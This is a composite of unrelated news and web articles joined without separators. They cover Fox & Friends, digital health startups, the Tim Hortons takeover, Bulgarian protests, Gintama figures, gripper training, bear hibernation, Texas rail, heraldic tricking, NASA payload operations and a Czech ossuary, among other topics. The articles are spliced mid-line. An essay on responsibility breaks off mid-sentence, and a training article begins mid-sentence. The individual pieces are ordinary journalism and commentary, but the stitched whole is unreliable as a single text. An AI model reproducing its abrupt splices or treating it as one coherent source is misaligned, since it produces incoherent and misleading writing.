“It seems as though the show’s primary goal is no longer to talk to an audience — but rather to talk to the president,” Chang wrote.
“‘Fox & Friends’ is a show about how Trump could best fare given the circumstances, but it’s done under the guise of news coverage,” he added. “It creates enemies and allies based on this framing, and it chalks up wins and losses based on these goals.”Whether activity trackers, smartwatches or sensors, wearables have made fitness and wellness an always-on activity among consumers. But a disconnect exists between an “always-on” approach and the brick and mortar that is the doctor and patient relationship.
A rise in digital health solutions has the potential to alter the nature of the doctor-patient dynamic through increasing virtual treatment, self-care and engagement. An estimated $2.8 billion was used to fund digital health startups last year, and an even bigger influx of startup cash is emerging in this area. Accenture estimates that funding for digital health solutions will double in the U.S. over the next three years, growing from $3.5 billion in value to $6.5 billion by the end of 2017.
This rapid growth will ultimately alter the way patients interact with the healthcare system and their own healthcare.
Doctor on demand
Treatment, which includes personalized medicine, virtual care, telehealth and care coordination, has garnered $2.6 billion in new startup funding as entrepreneurs realize the role these technologies will play in patient care. Similarly, diagnosis has captured $2.1 billion in funding, representing a rapidly growing segment of clinical and consumer tools that provides insights, such as remote monitoring.
Teladoc exemplifies this trend. The startup raised $50 million in 2014. Its U.S. board-certified doctors can resolve many of patients’ medical issues, 24/7/365, via phone or online video consults from wherever the patient is. “It’s health care on your terms – simple as that.” And it’s a far cry from sitting in a white-washed doctor’s office and waiting for the receptionist to call your name.
Engaging patients
Wearables, incentive programs and other patient-engagement solutions that target behavioral change received $2.6 billion in funding. The ability to link products, such as wearables, with services like clinical advice lines will broaden the scope of healthcare delivery. In fact, a study by ABI estimates that 42 million wearable fitness and health devices will be shipped in 2014, up from 32 million in 2013.
Although wearables have faced some challenges in relation to technical accuracy, battery life and activity tracking, new technology and devices are beginning to change that. For example, “hearables” – smart ear devices with 3D audio notification — may prove a more accurate, less obtrusive sub-sector for capturing fitness and cardiovascular activity.
Proximity to blood vessels within the ear mean that products, such as Valencell’s heart rate earphones, allow users to precisely and continuously measure weak blood flow signals during extreme physical activity. This provides an accurate picture of heart rate, respiration rate, and other blood flow parameters, while allowing individuals to still listen to music or audio.
These sensor-enabled devices give objects the power of perception — into conditions such as temperature, motion, chemistry and usage — but they’ll fail to become more than single-function devices without a connected infrastructure.
For example, Apple’s HealthKit is an early example of a platform enabling health and fitness applications to work together and convert data into a healthcare data ecosystem now occupied by caregivers, insurers and pharmaceutical companies. Ideally, this allows consumers to choose the information source and device while creating a new layer of data that can bring about profound behavioral change in users.
Healthcare is changing
The patient experience will be different in the not-too-distant future. Traditional healthcare organizations must develop ways to be relevant to the new health consumer, by encouraging and embracing, rather than resisting, digital healthcare startups and their disruptive ideas.
Strategies may include establishing external R&D arms (e.g. ventures and accelerators), acquiring startups for talent or implementing novel investment models. Healthcare leaders will also need to modify business objectives, while establishing structures to efficiently and effectively identify, test and prove clinical applications. Finally, all stakeholders will face increased pressure to cultivate a diverse ecosystem of partnerships and alliances.Your double double could get a little more watery if a proposed Tim Hortons-Burger King merger is allowed to go through, a new report warns.
If Brazil-based giant 3G Capital is allowed to buy up the Canadian coffee chain, Tim Hortons could face much bigger changes than have been suggested so far, the Canadian Centre for Policy Alternatives warns in a new report. “Trouble Brewing: Why the Tim Hortons Takeover is a Bad Deal for Canadians,” argues 3G capital has a long history of massive layoffs, hurting smaller franchisees, evading taxes and lowering the quality of products to cuts costs.
“The merger with Burger King via 3G will put substantial pressure — because of the debt they’ve taken on — to squeeze the company, in terms of lowering investments in the company, potentially lowering quality, almost certainly lowering staffing levels,” said David Macdonald, the policy centre’s senior economist.
That might add up to a good deal for 3G investors, but not necessarily for Canada, Macdonald said — a question the federal government will have to ask when weighing the “net benefit test” required for the sale of Canadian companies to the U.S.
The study, provided early to Canada.com, analyzes past takeovers of Burger King, Anheuser-Busch, Heinz and others and finds the deal, if approved by the Canadian government, could result in:
Lowered quality
When 3G bought in beer giants InBev and Anheuser-Busch, Budweiser and Stella Artois fans were the first to notice the pain. Prices for its products rose steadily from 2009 to 2013, but Bud-lovers were paying more for less, and Stella guzzlers found a lowered alcohol content in some products in England. The report notes, “the 3G founders’ team enacted a number of cost-cutting strategies at InBev and then Anheuser-Busch InBev, including watering down beers and using cheaper ingredients in the brewing process.”
Tim Hortons abandoned in-store baking the last time it was purchased by an American company — Wendy’s bought it up in 1995 before the two split up 11 years later.
Layoffs
The town of Leamington, Ontario, was once the tomato capital of Canada, if not the world, thanks to the Heinz ketchup plant that dominated its downtown and gobbled up tonnes of local tomatoes. But after Warren Buffet’s Berkshire Hathaway and 3G took over, the plant was shuttered and the town devastated (it has since re-opened under a new owner). Cuts were also part of the deal when 3G first bought Burger King.
Though both sides have promised no restaurant level cuts — which are the purview of local franchisees anyway — the report estimates as many as 714 people could be cut from Tim Hortons headquarters and distribution chain.
A bad deal for small business
Most Tim Hortons franchisees are small business owners with fewer than four or five shops. That was the case with Burger King as well — until 3G came along.
The company favours “master franchisees” that can handle their own supply chains and further efforts to expand chains overseas. Given the focus that the merger will bolster Tim Hortons’ long-struggling international ambitions, the report warns 3G could employ this strategy again.
The consequences would be two-fold: small franchise owners with ties to their community could be pushed out over time (most of their current agreements will take years to expire) and supply chains that currently employ many Canadians could be cut.
Fewer bucks for Ottawa’s coffers
Though Burger King has denied it, it’s widely accepted that part of the motivation for buying Tim Hortons was to lower its American tax burden. But, the report also warns Canada’s tax man could receive less from Tim Hortons if the merger proceeds. Those losses could total close to half-a-billion over the next decade, MacDonald warned.SOFIA (Reuters) - Tens of thousands of Bulgarians angry over poverty and corruption protested in more than a dozen cities on Sunday, as a lack of clear support for any political party mired the country in limbo days after the government was toppled.
Protesters march on a street during a demonstration in central Sofia March 3, 2013. REUTERS/Stoyan Nenov
Prime Minister Boiko Borisov quit along with his center-right government on Wednesday after two weeks of sometimes violent protests. He remains in office until an interim government is appointed, most likely next week, which will take Bulgaria to elections due on May 12.
However Bulgarians are still struggling to unite behind a single political leader or give voice to a clear set of demands.
Polls suggest neither Borisov’s rightist GERB party nor the opposition Socialist Party has enough support for an overall majority, and whichever wins the election will have to try to assemble a coalition to form a working government.
Thousands of people took to the streets of cities including the capital Sofia, Plovdiv, Burgas, Blagoevgrad, Ruse and Sliven on Sunday - a national holiday that marks the 135th anniversary of Bulgaria’s liberation from Ottoman rule.
In the biggest rally, about 50,000 protested in the Black Sea city of Varna, local media reported.
“It is obvious that the protesters are not united and this could very quickly destroy the enthusiasm of the people,” said Georgi Trendafilov, a demonstrator in Sofia downtown.
Borisov was hospitalized with high blood pressure on Sunday for a second time this week.
Following a three-day spell at hospital, doctors have advised the former bodyguard and karate black belt to take full rest and refrain from sports. The outgoing prime minister plays for a third division soccer team, Vitosha Bistritsa.
Hospital officials said he was admitted with hypertension at lunch time and it was too early to say when he would be discharged.
Six years after joining the European Union, Bulgaria trails far behind other members. Its justice system is subject to special monitoring by Brussels and it is excluded from the passport-free Schengen zone because of other members’ concerns about graft.
The country’s public debt is one of the lowest in the bloc. But business cartels, corruption and wages that are less than half the EU average have kept many from feeling the benefit.
It also has the cheapest electricity costs in the EU but an increase in prices since last July under an energy market liberalization has made it harder for Bulgarians to heat their homes through a cold winter.
POWER PROTESTS
The demonstrations began with a handful of youngsters protesting against high electricity bills. Eventually, hundreds of thousands of Bulgarians took to the streets, angered by their low living standards.
President Rosen Plevneliev said an interim government would aim for stability by sticking to the 2013 budget, which foresees a deficit of 1.3 percent of GDP, and implementing previous commitments such as a 9 percent increase in pensions from April.
He also said he would set up a 35-member public council to advise the interim government and represent the people’s interests. But consultations for the establishment of the council at the presidency collapsed on Saturday.
Representatives of protesters, objecting to the inclusion of some wealthy businessmen, walked out of the talks. They said they could not “sit at the same table with those they were fighting”.
“We are going out to fight until the end, we will not negotiate with oligarchs,” said Angel Slavchev, one of the leaders of the demonstrations. A trade union leader also quit, objecting to the composition of the council.
Earlier this week, Borisov dismissed the idea of a governing national unity coalition.
Slideshow (2 Images)
Support for Borisov’s rightist GERB party has fallen over the last year, and it is now neck-and-neck with the opposition Socialist Party.
Just before resigning, Borisov had proposed to cut electricity prices by 8 percent and alarmed investors by saying the government would revoke the distribution license of the Czech utility CEZ, risking a diplomatic row with the Czech Republic and EU.
The energy regulator proposed a smaller, 6.4 percent cut on Friday, a few days after CEZ and the other two distributors, Austria’s EVN and the Czech firm Energo-Pro, said they had done nothing wrong.Anime News Network's merchandise coverage sponsored by Tokyo Otaku Mode
MegaHouse's GEM line of figures covers a variety of anime series, but it has specifically released characters from the Gintama anime for the last seven years. To celebrate, the figure line opened the "G.E.M. Gintama Commercialization Election - 7 Year Edition" website. Four figures are up for vote to mark the event.
The selection includes:
Kagura (Two years later version)
Sōgo Okita (gender-swapped version)
Tōshirō Hijikata (gender-swapped version)
Shinpachi Shimura (with a horse)
The GEM line first released Gintoki in 2009 and followed with Toshiro Hijikata, Shinsuke Takasugi, Elizabeth, and many others. A gender-swapped Gintoki was offered last year after an episode reimagined the whole cast.
Voting opens on October 10 and will last until mid-November. The results will be revealed at the MegaHobby Expo 2016 Autumn event in Akihabara on November 26.
Hideaki Sorachi began the Gintama manga in 2004 and it continues to be ranked among the top-selling manga in Japan. The manga now has more than 50 million copies in print in Japan. Viz Media published the first 23 volumes in English. Shueisha published the manga's 65th volume in Japan on August 4. The manga entered its final arc on July 11.
The manga inspired a television anime that premiered in 2006 and continued (with several extended hiatuses) until 2013. The latest Gintama television anime series premiered in April 2015, and ended in March. Crunchyroll streamed the series as it aired in Japan. The manga also inspired two anime films, including the "final" Gekijōban Gintama Kanketsu-hen: Yorozuya yo Eien Nare film that opened in 2013, and various OVAs and event anime.
Staff are currently shooting a live-action film starring Shun Oguri as Gintoki Sakata.
Source: Comic Natalie[Edited December 12, 2012, mostly to reduce the spittle-flying.]
It's frustrating to be stuck in a world where I actually have to point this out, but what we call "responsibility" is not distributed by breaking up "full responsibility" and dividing it into parts. If you add up everyone's responsibility for something, it doesn't equal 100% -- it equals a billion percent if it has to, because any number of entities can be fully responsible for the same thing. Another way to say it is that our responsibilities can and do overlap. Another way to say it is that nobody's responsibility for anything excuses anybody else.
For example, Hitler is fully responsible for every particular murder in the Holocaust. But so is the actual person who did the murder, and every person in the chain of command, and the fanatically repressive Prussian culture, and maybe the victim, if there was a chance to see the murder coming and fight or flee.
I just pushed a hot button, but it's hot only because of our idea of "blame". I don't blame anyone for anything, because I understand that blame is stuck responsibility -- falsely packing it all in one place to block it from being traced where you don't want it traced.
For example, if a woman gets drunk and passes out at a frat party, and she gets raped, and I excuse the rapist by saying the woman should have known better, then I am blaming the victim. But if I hold the rapist fully responsible, and also hold the society that trained the rapist fully responsible, and also notice that the victim took a risk and had the power to choose otherwise, then I'm not blaming anyone -- I'm being honest and paying attention.
This gets even trickier when someone is punished for doing something good. The Raise The Fist website was recently shut down in a violent police raid. Some people said the author of the site should have known the police would come after him, and therefore that he was at fault. By the same logic, Jesus should have known he'd be crucified, and if you don't obey a system backed by violence, you deserve what you get.
We can step over this little trap by thinking clearly: We're talking about two different definitions of "responsibility." One means being a necessary part of causing something bad to happen; and the other refers to our moral need to do the right thing. It seems strange to us, but it's possible, even common, to be responsible in both ways with the same action, to knowingly invite something bad by doing good.
So in the first sense, the Raise The Fist author was responsible for the police raid -- and so were the police. And in the second sense, he was being courageous and responsible, by running his web site even though it was very likely to be attacked, and the system that attacked it was being irresponsible and cowardly.
It gets even trickier still, when we have to actively do the wrong thing to prevent something we fear. If you voted for the lesser of the two evils in the latest election, then you would have |
choking around the handles, this is different around the spring. This is a guideline I’ve formulated through my own experience using the progressive distance choker method successfully with 3.28, 3.54 and 3.86 -level grippers. 30mm has been the actual width for me that’s pretty much guaranteed the MM-set close. It hasn’t held true with one gripper though. At my best gripper strength peak so far I managed to close my 3.80 BBSE from 30mm choked distance, yet I missed the close but that’s more to do with off-hand setting strength. I’m of the opinion that parallel is a good starting point on a choker work, but you need to work them wider than that for best results. Of course you can jump up to bigger grippers instead and work the same distance, but the progressive distance choker work on the same gripper is a good way to microload. It’s also easier on the head as you can get successful closes more often when you progress little step by step. Success creates good momentum and that’s what you need for good gains.
What kind of training program to use?
The way I see it, it is better to gear towards singles in order to make your efforts count on choker work. If you follow some rep regime it is easier to let yourself just go through the motions. Also the nature of the grippers is that you tend to squeeze them slow. The more reps you do, you tend to go slower. The more reps you aim to do, the softer you squeeze when the handles are touching, as you want to get more reps you are rushing through it. You are missing out then, working less on the part where you should work hardest. Soft and slow makes for a bad combo and is not making you stronger!
So practice explosive singles when you do your choker work. You should be working on a pretty tough gripper anyway when you are doing the choker work, so forget about reps. The most basic program that has worked for me has been 5 singles on a choker and 3-5 overcrushes on easier gripper (this gripper can be filed) on top. I would wait at least 3 minutes, but rather 5 minutes between singles to be able to do them explosively. 3 times a week worked for me. Goal was to get all the singles closed for 3-5 count and squeezing as hard as I could when the handles were touching.
My personal experience
I have done lots of choker work and I still do it a lot, not all the time but it is certainly something I will go back on when I feel it’s time again. I’d say it is one of the most important ingredients of an effective gripper training. I advice against training solely on the choked grippers: while it teaches you how to explode against the handles, which is very very important, it is still a bit different than regular parallel set close. I’d advice you to throw in some parallel set work and maybe even some no set work to the mix, to be better able to utilize the strength you’ve built by doing choker work. That is a one thing I’ve learned from my past experimenting. It is not easy to make gripper gains happen after a certain point and I’d encourage anyone to give this a shot, as it might work for you as well. Give it a go and let me know how it goes, best of luck!
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Like this: Like Loading... RelatedTucked into its den, the slumbering black bear hibernates, barely stirring throughout the winter months. Such sedentary behavior in humans would lead to weakened, brittle bones, but when the bear emerges in the spring, its skeleton is little worse for the little wear. How black bears (Ursus americanus) accomplish the feat has puzzled scientists for years. Now, a new study suggests that the creature’s ability to suppress and balance bone remodeling—the lifelong, two-step process by which mature bone tissue is removed from the skeleton (called resorption) and new tissue is created (called formation)—may provide the elusive explanation. For their research, scientists captured 13 black bears over four hibernation seasons and collected blood samples every 10 days before releasing the animals back into the wild. They found that the levels of a bone formation marker known as bone-specific alkaline phosphatase (BSALP) and a bone resorption marker known as tartrate-resistant acid phosphatase (TRACP) fell during hibernation, suggesting that overall bone turnover had decreased, the team reports online today in The Journal of Experimental Biology. The scientists also found that the bears’ levels of calcium—of which bone is made—in the blood did not change during hibernation, meaning that even though bone remodeling is suppressed, it remains balanced, which helps limit bone loss. A closer look at one of the hormones known to reduce bone resorption called the cocaine- and amphetamine-regulated transcript showed that it surged to levels 15 times higher than normal in the dozing bears, which suggests that it may play a role in regulating the ways bears have evolved to protect their skeleton from the long periods of stillness. Continued efforts to understand the protective measures could lead to new ways of treating degenerative bone problems or diseases in humans, the scientists say.When the Lone Star Rail project fell apart last year, communities along I-35 were left looking for a new plan that would reduce travel time between San Antonio and Austin. Now, they think they’ve found one.
It’s still about rail, but the vision is bigger than San Antonio to Austin. And drivers who are “Stuck Behind the Wheel” hope it works.
Story airing on Texas Public Radio
There are a lot of strong words that could describe the 80 mile trip along I-35 between San Antonio and Austin.
Samantha Crawford simply calls it “miserable.”
The I-35 Nightmare
Crawford is a dental assistant who drives the stretch twice a day, five days a week to her job in Austin. On a good day she’s behind the wheel about two hours each way. Recently the trip took three hours
“It’s kind of like stop and go traffic. Through Austin I was probably going 25 miles an hour. When I first got on the highway I was probably going about 5.”
Crawford has put 250,000 miles on her car, and worries about falling asleep on the way home. But she doesn’t want to quit her job.
“If I come to San Antonio to work I’m going to take a pay cut. And my bosses are so great with my flexibility with my child it’s really not worth leaving.”
City leaders from Austin to San Antonio had hoped the Lone Star Rail project would provide an alternative for commuters like Crawford. Then, last year, Union Pacific which operates tracks along I-35 pulled out of the deal.
But San Antonio Council Member Ray Lopez wasn’t giving up. He chairs the Alamo Area Metropolitan Planning Organization which considers transportation projects for the region.
“We started a dialog with Amtrak. Would you be willing to be our new catalytic partner? The answer for them is sure.”
Amtrak Conducting Feasibility Study
Right now Amtrak operates just one daily trip each way between San Antonio and Austin. It takes about two and a half hours, which is too long to be useful to commuters.
But Amtrak confirms it is now working on a Ridership and Revenue Study at the request of the cities. By mid-year it will tell local leaders what it would cost to improve Union Pacific tracks enough, so trains could travel an average 90-miles-an-hour and provide the kind of service envisioned under Lone Star Rail.
“Which was a train leaving the station every 30 minutes during the peak hour all day long. During the non-peak hours every hour,” Lopez explains, saying the route would start in South San Antonio near the Texas A&M campus with the northern-most terminal being in Georgetown, outside of Austin.
San Antonio Mayor Ivy Taylor expects the city to spend $100,000 on the study. If the results are promising, Lopez believes the big money for the tracks and operating the trains would come mostly from private investors.
Adding High Speed Rail to Monterrey
Lopez thinks investors will be interested because there’s a vision that’s much bigger than 90-mile-an-hour passenger rail from San Antonio to Austin. It calls for the Austin-to-San Antonio line to connect in San Antonio with high speed rail that would transport passengers at 250 miles-an-hour to Laredo and on to Monterrey, Mexico.
Laredo Congressman Henry Cuellar says this isn’t just a pie in the sky day dream. Cuellar says over the past few years he’s met with Mexican officials, federal and state transportation officials, and private investors who would consider financing the project.
He says the trip from Monterrey to San Antonio would take about two hours.
“You connect San Antonio’s large population, Laredo and, of course, Monterrey with 4.5 million individuals. Entities like Sea World (in San Antonio), when I talk to them they’re all excited, because that means potentially a new base of customers.”
Lopez believes private investors will support both rail lines if they provide seamless service from Monterrey in the South to Austin in the North.
Projected Timeline
Amtrak says if all of the pieces fall into place the San Antonio to Austin service could be underway in three to five years.
Samantha Crawford says she’d be among the first to take that train.
“I would absolutely positively love to do that. I could sit on the train and read a book.”
As for the high speed route to Monterrey?
“Let me put it this way,” said Lopez. “I just turned 67, and I think I could buy a ticket in my lifetime. We could probably, within a dozen years, have the high speed rail between San Antonio and Monterrey
Lopez, in fact, says he’s headed to Japan later this month where he plans to meet with possible rail investors.High Jinks for Mary in Cyprus with England C!
Posted on by in England C, Featured with
Pic: Pinnacle
CYPRUS may well be a fair old trek from the north west of England, but nothing was going to stop pensioner Mary Jinks flying out – she had to watch Andy Halls!
The 85-year-old former headteacher started sponsoring the right-back when he was a Stockport County youngster.
Halls, now at Macclesfield, was one of a few Hatters that superfan Mary would spend her well-earned pension on.
She keeps tabs on their careers even when they’ve moved on, regularly watching Stalybridge Celtic and Hyde, and has even vowed to be at footballer turned pro-boxer Matty Mainwaring’s first fight.
Mary jokes: “The government give me all this money so I might as well spend it.”
So when she found out one of her boys had been selected for the game with Cyprus U21, she booked a few days away, packed her signed Andy Halls shirt and jetted out to Larnaca.
“All the lads she’s stayed supporting try and give her something back,” Halls said. “She’s got a heart of gold. I’m grateful she supports me. I gave her one of my shirts from my debut in Turkey and signed it.
“I thought she might frame it, not wear it! When I went to her house with a birthday present, she’s got all these signed shirts so maybe she doesn’t have enough room! It shows what a nice person she is that she’d come all this way just to support me.
“When she first mentioned coming I didn’t think she’d end up doing it. But she came out on her own to support me. After all the years of her doing it, it’s really nice.”
Mary was the talk of the travelling fans, meeting FA officials and Conference chairman Brian Lee, before watching Halls come off the bench for his third cap.
“I didn’t know he was playing in Turkey until it was too late, but I went to the game against Estonia at Halifax and enjoyed it,” she said.
“I’m an ex-teacher so I like to know about all their families. Andy knows he’s my number two. Number one is Matty Mainwaring – I’m going to go to his first boxing match!”
Tagged Andy Halls, England CThis article is about the term relating to heraldry. For the acrobatics derived from martial arts, see tricking (acrobatics)
Tricking is a method for indicating the tinctures (colours) used in a coat of arms by means of text abbreviations written directly on the illustration. Tricking and hatching are the two primary methods employed in the system of heraldry to show colour in black and white illustrations.
Tricked arms of John Browne of Spexhall, Suffolk (1591)
An example of early tricking. Coat of arms of Cardinal Giovanni di Aragona (1456-1485), archbishop of Esztergom, from the book of Alphonsus Ciacconius titled Historia Rom. Pontificum.
Origin [ edit ]
The system of heraldry has always had some methods to designate the tinctures of arms. The earliest such method was blazon, which is describing the arms by words and is as old as heraldry itself. We can find the first blazon in the work of Chrétien de Troyes (c. 1135-c. 1183) titled Lancelot ou le Chevalier de la Charette (c. 1178-c. 1181). The English heraldry system still uses a form of blazon almost unchanged since the reign of Edward I. Traditionally, the images of heraldic manuscripts like the rolls of arms and armorial books are all coloured. However, later on, with the development of book printing as also with the invention of woodcuts and copperplate engravings, there arose the need for designating the colours on uncoloured illustrations as well. As a rule, two main methods were applied to achieve this – tricking or giving designations to the tinctures after the initials of the given colours, and hatching which is ascribing designations to the tinctures by means of lines and dots. While the first method was introduced and developed by the heralds, the second model was developed and adopted by the heraldists. In addition, some other methods were also in use such as giving designations to tinctures by using the numbers from 1 to 7.
In the beginning, tinctures were designated with the given names of the colours as described in the 1576 book by Martin Schrot (d. after 1581), titled Wappenbuch. In his book Baselische Chronik (1580) Cristian Urstis (1544–1588) named the tinctures after the initials of the given colours. Earlier, this method was applied by Virgil Solis (Wappenbüchlein, 1555), and Johann von Francolin (1560).
Almost simultaneously with Urstis, Don Alphonsus [Francisco] Ciacconius (1540–1599), a Rome-based Spanish Dominican scholar, named the tinctures after their Latin initials. Or (gold) was designated with A (aurum), argent (silver) or white, respectively with a (argentum), azure (blue) with c (caeruleus), gules (red) with r (rubeus), and vert (green) by v (viridis). Though the sign for sable (black) (niger) was not present in his system traditionally it was designated with the black colour itself.
Decline [ edit ]
The letters of tricking were often traced badly since they were not of immediate understanding for the reader always, thus leading to erroneous interpretations. Heralds did not like hatching, and the College of Arms gave preference to tricking even beyond the 17th century, sometimes even on the coloured and hatched images. It was so because the tricking was a simpler way to the drawer than hatching to designate the tinctures.
Otto Titan von Hefner maintained that the first traces of hatching on the woodcuts began during the 15th and 16th centuries. Both tricking as well as hatching was applied by the Benedictine monk, philologist and outstanding historian Vincenzo Borghini (Florence, Oct. 29, 1515 – Aug. 18, 1580, Florence). He drew a difference between the metals and the colours on the woodcuts of his work by leaving the places blank on the arms for all metals; similarly all colours were hatched by the same way, as the colour vert is being used today. Besides this, tinctures were designated in the fields and on the ordinaries and charges by tricking: R–rosso–gules, A–azure–azure, N–nigro–sable, G–gialbo–yellow (or), and B–biancho–white (argent). Notably, the vert was not present on the arms presented by him.
Since the early 17th century, tricking declined. However, it is sometimes still in use, mainly in British heraldry.
References [ edit ]Actor-director George Clooney penned a prayer for the United States this week that appeared to allude to the ongoing national controversy over kneeling protests during the National Anthem.
The 56-year-old Suburbicon director published the short prayer in The Daily Beast Tuesday.
The prayer reads, in full:
I pray for my country. I pray that we can find more that unites us than divides us. I pray that our nation’s leaders want to do the same. I pray that young children like Tamir Rice can feel safe in their own neighborhood. I pray for all of our children. I pray for our police and our first responders. I pray for our men and women of the armed services. I pray that dissent will always be protected in this great country. I pray for a more perfect union. And when I pray, I kneel.
With the last line in the prayer, Clooney appears to have become the latest celebrity to weigh in on the national debate about so-called “kneeling protests,” after the demonstrations became popularized by former San Francisco 49ers quarterback Colin Kaepernick last year during the pre-game singing of the National Anthem.
The debate reached a boiling point over the weekend after President Donald Trump said Friday during a rally in Alabama that NFL team owners should fire players who kneel during the National Anthem.
While numerous NFL teams, spurred on by Trump, protested by kneeling or avoiding taking the field altogether during Sunday’s games, the protests have since spilled into Hollywood, as actors from television shows including The X-Files and Star Trek: Discovery posed for photographs while kneeling this week and then posted the photos to social media.
Clooney has been a vocal celebrity critic of the president and his administration.
This month, the actor-director took aim at former White House chief strategist and Breitbart News Executive Chairman Steve Bannon, telling reporters at the Toronto International Film Festival that Bannon would “licking [his] ass” to do a movie with him had he remained in Hollywood writing screenplays.
In an interview with the Daily Beast this week, Clooney slammed Democrat Hillary Clinton’s failed presidential campaign, telling the outlet he “never saw her elevate her game.” The Hollywood A-lister held a fundraiser for Clinton at his home during the heat of the campaign.
“She was more qualified than even her husband was when he was elected president, but she’s not as good at communicating things,” Clooney told the outlet. “When she got up and gave a speech, it didn’t soar.”
Follow Daniel Nussbaum on Twitter: @dznussbaumIn a darkened room, deep within the high-security perimeter of Redstone Arsenal, a US army base in Huntsville, Alabama, eight men and women sit behind concave banks of computer monitors, streams of data reflecting across their faces.
One of the women will occasionally speak into her headset, although she speaks so quietly it is difficult to make out more than a few words.
Along the wall in front of them, screens display images of the Earth, graphs, timelines and – as we watch – an astronaut’s backside as he floats through a hatch 400 kilometres above the planet.
Staffed round the clock, this is Nasa’s Payload Operations Integration Center – the control hub for all the science experiments on the International Space Station (ISS). Here, every working minute of the orbiting astronauts’ days are accounted for, monitored and – if necessary – adjusted. Houston may get all the glory but this little-known control room, part of the Marshall Space Flight Center, is the hub of space station science.
“We are the go-betweens,” says payload communications manager Sam Shine. “We are the interface between the scientists and the crew on board the space station.”
‘Very tricky’
In fact Shine is one of the few people on Earth – along with the Capcom (Capsule Communicator) in Houston – able to talk directly to the crew on the ISS, looking after them as they work through their daily science routines.
“It’s very tricky,” says Shine. “We have language barriers, we have time zone differences – sometimes trying to work with an Italian principal investigator and get the information they need up to, perhaps, a German crew member can be a bit tricky.”
Since its completion in 2011, the $100bn (£64.5bn) ISS has been all about the science. The walls, ceiling and floor of its US, Russian, European and Japanese laboratories are crammed with experiments, and astronauts spend an increasing amount of time as orbiting research technicians.
“If you name a discipline of science, we are probably doing that kind of experiment on board,” says Shine. Studies in this unique microgravity research lab range from investigating plant growth to understanding the properties of liquid metals.
Much of the science overseen from the control room in Alabama is concerned with studying the effects of space on the astronauts themselves, such as the bone and muscle wastage they experience. This is essential research if humans are ever to leave their home world for any length of time.
When living in space, is comfort food good for you?
Scientists are also studying the psychological challenges of living away from Earth in an isolated metal box, eating reconstituted meals, drinking recycled urine, with only work colleagues for company.
One of the most intriguing of these experiments – Astro Palate – has been devised by food and nutrition scientists at the University of Minnesota. Among other things, it seeks to understand how food can be used to reduce stress. In other words, when living for a long time in space, is comfort food good for you?
“We may have astronauts do a task they don’t enjoy such as vacuuming the space station,” says Shine. “We then have them take a survey to see how they feel about it, then let them eat some comfort food – perhaps chocolate pudding – and take another survey.”
“We’re starting to understand ways of making our crews feel at home as they’re in space for longer and longer durations,” she adds.
Another study involves astronauts keeping journals of their life on board the station – an attempt to get honest accounts of their feelings, stresses, tensions or homesickness. Because only the researcher compiling the results of the project reads them, the hope is that the crew are more likely to be candid.
The fourth month of the mission is when the crew is most likely to want to come home
“One of the most interesting findings is that the fourth month of the mission is when the crew is most likely to want to come home,” says Shine. “They’re getting tired of being on the space station and they want to see their families.”
As most missions to the ISS are now between six months and a year in duration, Nasa may therefore want to consider sending up some more chocolate pudding.
Lost in space
To help cope with the daily frustrations of living on board a cluttered orbiting laboratory, the Alabama team is even responsible for the astronauts’ lost property. It is the job of the Stowage Officer to keep track of every item on the ISS. Shine describes it as “one of the hardest jobs in the space programme”.
Sometimes astronauts don’t put their things away, just like us here on Earth
“Sometimes astronauts don’t put their things away, just like us down here on Earth,” says Shine. “They’ll call down looking for a wrench or something and it’s not where we thought it was, so it’s the job of the stowage officer to go back through the history of where it was last seen and locate it.”
It is the space equivalent of losing your keys and trying to remember where you last had them. The problem is that if you put down your spaceship keys, there is a good chance they will float off somewhere else.
“We’re looking over the astronauts’ shoulders so if we see something float away we’ll let the crew know,” says Shine. “A lot of the time we find things collected in vents.”
It’s always been the case that behind every astronaut there are thousands – if not tens of thousands – of support staff. The difference today, as we enter an era of longer duration missions, is that they are just as likely to be an expert on comfort food or space station storage as a rocket scientist.
Follow us on Facebook, Twitter, Google+ and LinkedInThousands of underfloor repairs to earthquake damaged Canterbury homes will be reviewed after a government inspection revealed substandard building practices.
The Ministry of Business, Innovation and Employment (MBIE) has completed a review of 101 Canterbury homes where earthquake repairs had been carried out, mostly by the Earthquake Commission (EQC).
The inspection was in response to a smaller survey which revealed quality issues at 13 out of 14 repaired properties.
Earthquake Recovery Minister Gerry Brownlee said he had received preliminary findings of the inspection, which identified shortcomings with underfloor repairs.
He said no repair work posed a risk to homeowners, but MBIE was investigating what recourse could be taken against Licensed Building Practitioners whose work had not been up to scratch.
He said the EQC would review all properties where underfloor structural repairs were carried out without a building consent, to ensure work was brought up to code.
This would be done at no cost to the homeowner, Mr Brownlee said.
Mr Brownlee said the homeowners involved in the survey would be contacted to talk through the individual findings in the coming weeks.
He said MBIE and EQC would comment further when the final report had been completed.In Kutná Hora, you’ll get your fix for the macabre
By Dian Hasan | September 6, 2009
If you are drawn to unusual experiences during your travels, ones that border macabre. And catacombs, mausoleums, haunted castles and cemeteries, give you excitement instead of goose-bumps, then this gothic church – a UNESCO World Heritage Site – in Kutná Hora, Czech Republic is for you.
Behind the rather unimposing Cathedral of Our Lady at Sedlec lies what is best described as a cross between a Museum Art Gallery of exquisite work, and its in-house lunatic artist with a penchant for human bones!
Firstly, a brief geographic lesson: The picturesque medieval town of Kutná Hora, 60km east of Prague, is listed as a UNESCO World Heritage site. The sources of Kutná Hora’s wealth is the silver mines that were exploited intensively between 14th and 15th centuries. At the time the town rivaled Prague and even London for its importance and commerce. The discovery of silver ore here in the 14th century led to the creation of the Royal Mint and the town became the political, cultural and economic centre of Bohemia.
Kutná Hora’s most interesting sights include the very gothic Cathedral of St. Barbara, the Patron Saint of miners, the nearby Hrádek building which has a direct relationship with the town’s mining past.
Cathedral of Assumption of Virgin Mary in Sedlec, is where you’ll find the Ossuary (a container for holding the bones of the dead), which contains the most bizarre sights, decorations made of human skeletons. It is estimated that anywhere between 40,000 to 70,000 human skeletons were to decorate the chapel.
As legend has it, in the 13th century the Abbot of the church was sent to the Holy Land. And when he came back, he brought with him a jar of soil from Golgotha and sprinkled it over the abbey cemetery, making it a very desirable ground for burial. during the black plague of the 14th century and later during the Hussite war, thousands of people were buried in the cemetery.
At the beginning of the 15th century, when a Gothic church was built in the center of the cemetery, thousands of skeletons were unearthed during the construction.
In 1870, František Rint, a woodcarver was commissioned to put the bones into order… and – as they say – the rest is history. One very creative carpenter indeed! Thank heavens Rint wasn’t associated with Geppetto, who was skilled in bringing wooden puppets to life!
